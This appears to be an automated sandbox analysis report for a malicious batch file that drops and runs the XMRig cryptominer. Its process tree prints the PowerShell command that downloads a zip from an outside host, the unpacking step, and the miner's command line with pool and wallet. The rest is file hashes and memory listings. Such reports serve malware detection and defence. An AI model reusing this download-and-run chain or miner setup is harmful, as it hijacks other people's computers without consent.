Analysis

  • max time kernel
    1796s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231129-en
  • resource tags

    arch:x64arch:x86image:win10-20231129-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 08:48

General

  • Target

    tesy - Copy (12).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3668
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4628
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -s wlidsvc
    1⤵
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    PID:2936

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Microsoft\IdentityCRL\production\ppcrlconfig600.dll

    Filesize

    26KB

    MD5

    6f6a6e38715c9b3838f95e03fa0567f3

    SHA1

    40bffba8deebcfa89ff78591d1697290a8f8145d

    SHA256

    b1eab91db2cb293c153d0cb5ebf1ac3a9d50ac75d050403e8b9e1ec68881bd5f

    SHA512

    b1ecc5e8aff711a0ec8aa9d8415e1b26b06bc8e5607f26baba34506c30849b091e2fb3ea7051471000640c869aa9024e09749cbeac5595c16a4806d15f3221c2

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    085e9edd162c8a7da7f795e24fe24ec8

    SHA1

    62745c8420d9a6dcebebf4f9654e177c5a72492d

    SHA256

    fb1bffbaf8c5e8724bf420d7fc9d49cedd273b55d727eed7243ebd2e0c0a8663

    SHA512

    0c959d2e5098646b78425c29faea42e087f943db48cb1f25dc60560a3df5bfde21a67c58a29fde9791a07b09dee22fea954b0982adc21efa5e3b4d8110b825b2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zk5m3tcs.hpz.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    511KB

    MD5

    28a4d615a12c5ea552ba3a8c99ef22a4

    SHA1

    d7e920b57a1567eb86953f70a2ef653ae3afecd8

    SHA256

    0050133cf26240aed0f0464bb9d67b9599837561567c984468c8e734127ed2ef

    SHA512

    1f9a962743d292d3f5a610d68ca01d4286851895cf9e1fd393aea10378af03c5e62c6b7585e3ab2a371c82d494bddb65c51f0ba736cab1298bd008b3a9d0046e

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    421KB

    MD5

    e1cb35d05cf18f4172dad28b3a0e8801

    SHA1

    f1b70e69d378cebcaf434ce01a63873efea29579

    SHA256

    d702e7439c747edc100bbcf82e21e53f277a676e2dc813e5df95118818801810

    SHA512

    e9d64c7c3578cd0c575f0f3d10c3ffac14a2970d5faccfb6289a38067be247c497165374c8a78090038502273fb32bd5b8006880ba74215a3664e82e4ef58a4c

  • memory/1260-25-0x0000024021160000-0x0000024021170000-memory.dmp

    Filesize

    64KB

  • memory/1260-7-0x0000024021110000-0x0000024021132000-memory.dmp

    Filesize

    136KB

  • memory/1260-10-0x00000240213F0000-0x0000024021466000-memory.dmp

    Filesize

    472KB

  • memory/1260-6-0x0000024021160000-0x0000024021170000-memory.dmp

    Filesize

    64KB

  • memory/1260-30-0x00007FFF16AE0000-0x00007FFF174CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1260-4-0x00007FFF16AE0000-0x00007FFF174CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1260-5-0x0000024021160000-0x0000024021170000-memory.dmp

    Filesize

    64KB

  • memory/3668-38-0x0000016EFB350000-0x0000016EFB360000-memory.dmp

    Filesize

    64KB

  • memory/3668-62-0x0000016EFB350000-0x0000016EFB360000-memory.dmp

    Filesize

    64KB

  • memory/3668-89-0x0000016EFB790000-0x0000016EFB79A000-memory.dmp

    Filesize

    40KB

  • memory/3668-76-0x0000016EFB7B0000-0x0000016EFB7C2000-memory.dmp

    Filesize

    72KB

  • memory/3668-99-0x00007FFF16AE0000-0x00007FFF174CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3668-37-0x0000016EFB350000-0x0000016EFB360000-memory.dmp

    Filesize

    64KB

  • memory/3668-35-0x00007FFF16AE0000-0x00007FFF174CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4628-127-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-139-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-107-0x00000158578F0000-0x0000015857910000-memory.dmp

    Filesize

    128KB

  • memory/4628-106-0x00000158578D0000-0x00000158578F0000-memory.dmp

    Filesize

    128KB

  • memory/4628-108-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-109-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-110-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-111-0x00000158578D0000-0x00000158578F0000-memory.dmp

    Filesize

    128KB

  • memory/4628-112-0x00000158578F0000-0x0000015857910000-memory.dmp

    Filesize

    128KB

  • memory/4628-113-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-114-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-115-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-116-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-117-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-118-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-119-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-120-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-121-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-122-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-123-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-124-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-125-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-126-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-104-0x00000158578B0000-0x00000158578D0000-memory.dmp

    Filesize

    128KB

  • memory/4628-128-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-129-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-130-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-131-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-132-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-133-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-134-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-135-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-136-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-137-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-138-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-105-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-140-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-141-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-142-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-143-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-144-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-145-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-146-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-147-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-148-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-149-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-150-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-151-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-152-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-153-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-154-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-155-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-156-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-157-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-158-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-159-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-160-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-161-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-162-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-103-0x0000015855FB0000-0x0000015855FD0000-memory.dmp

    Filesize

    128KB

  • memory/4628-184-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-185-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-186-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-187-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-188-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-189-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-190-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-191-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-192-0x00007FF699B90000-0x00007FF69A693000-memory.dmp

    Filesize

    11.0MB